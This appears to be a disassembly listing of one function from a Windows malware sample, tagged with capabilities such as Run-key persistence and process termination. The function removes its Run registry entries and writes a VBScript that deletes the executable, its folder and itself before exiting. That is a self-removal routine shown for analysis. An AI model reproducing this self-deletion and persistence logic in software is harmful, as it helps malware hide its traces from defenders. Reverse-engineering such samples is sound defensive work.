Function at 0x40d096
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x29c
push ebx
push ebp
push esi
push edi
call fcn.00412850
cmp dword [0x47513c], 0
je 0x40d0b8
mov ecx, 0x4750f0
call fcn.0040b8ac
xor ebx, ebx
inc ebx
cmp byte [0x472d63], bl
jne 0x40d0c8
call fcn.00419a94
cmp byte [0x472a85], 0
je 0x40d0e2
mov ecx, 0x474d64
call fcn.00401f04
push eax
pop ecx
call fcn.0041c291
mov esi, 0x4752c0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x472b33], bl
jne 0x40d109
push esi
pop ecx
call fcn.00401f04
push eax
push edi
pop edx
mov ecx, closesocket
call fcn.00413a23
pop ecx
mov ebp, closesocket
cmp byte [0x472b30], bl
jne 0x40d128
push esi
pop ecx
call fcn.00401f04
push eax
push edi
pop edx
push ebp
pop ecx
call fcn.00413a23
pop ecx
cmp byte [0x472b31], bl
jne 0x40d145
push esi
pop ecx
call fcn.00401f04
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
push ebp
pop ecx
call fcn.00413a23
pop ecx
mov ebx, 0x208
lea eax, [esp + 0xa0]
push ebx
xor edi, edi
push edi
push eax
call fcn.00436e90
add esp, 0xc
mov esi, 0x475338
push esi
pop ecx
call fcn.0040247c
push eax
push esi
pop ecx
call fcn.00401fab
push eax
push ebx
lea eax, [esp + 0xac]
mov esi, 0x4752f0
push eax
push str.exepath
push esi
pop ecx
call fcn.00401fab
push eax
pop edx
call fcn.004136f8
add esp, 0x14
test al, al
jne 0x40d1ab
push ebx
lea eax, [esp + 0xa4]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push esi
pop ecx
call fcn.00401fab
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebp, 0x466468
mov ebx, 0x475308
push ebp
pop edx
push ebx
pop ecx
call fcn.004077b7
mov esi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
test al, al
je 0x40d1ea
push 0x80
push ebx
pop ecx
call fcn.00401f04
push eax
call esi
push 0x80
lea eax, [esp + 0xa4]
push eax
call esi
push eax
pop ebx
lea ecx, [esp + 0x10]
neg ebx
push str..vbs
sbb bl, bl
call fcn.0041b978
push eax
pop edx
lea ecx, [esp + 0x44]
call fcn.0041bc5e
push eax
pop edx
lea ecx, [esp + 0x8c]
call fcn.00403014
pop ecx
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x10]
call fcn.00401fd8
lea eax, [esp + 0x88]
push eax
push 0x466608
push 0x466f88
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [esp + 0x4c]
call fcn.0040417e
push eax
pop edx
lea ecx, [esp + 0x18]
call fcn.00403014
pop ecx
push eax
pop edx
lea ecx, [esp + 0x74]
call fcn.0040431d
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x14]
call fcn.0040417e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x2c]
call fcn.004042fc
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401f09
and bl, 1
je 0x40d308
push 0x467030
lea eax, [esp + 0xa4]
push eax
lea ecx, [esp + 0x60]
call fcn.0040417e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.004042fc
pop ecx
push eax
pop edx
lea ecx, [esp + 0x14]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0040325d
lea ecx, [esp + 0x10]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x58]
call fcn.00401f09
push 0x467068
lea eax, [esp + 0xa4]
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x4c]
call fcn.0040417e
push eax
pop edx
lea ecx, [esp + 0x18]
call fcn.00403014
pop ecx
push eax
pop edx
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x10]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
test bl, bl
je 0x40d372
push str.wend_n
lea ecx, [esp + 0x2c]
call fcn.00409052
mov esi, 0x475308
push ebp
pop edx
push esi
pop ecx
call fcn.004077b7
test al, al
je 0x40d3c1
push 0x467068
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x18]
call fcn.0040b97c
pop ecx
push eax
pop edx
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x10]
call fcn.00401f09
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x2c]
call fcn.00409052
push edi
lea ecx, [esp + 0x74]
call fcn.00401f04
push eax
lea ecx, [esp + 0x30]
call fcn.0040247c
push eax
pop esi
lea ecx, [esp + 0x30]
add esi, esi
call fcn.00401f04
push esi
pop edx
push eax
pop ecx
call fcn.0041c3f1
pop ecx
pop ecx
test al, al
je 0x40d418
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00401f04
push eax
push 0x466108
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]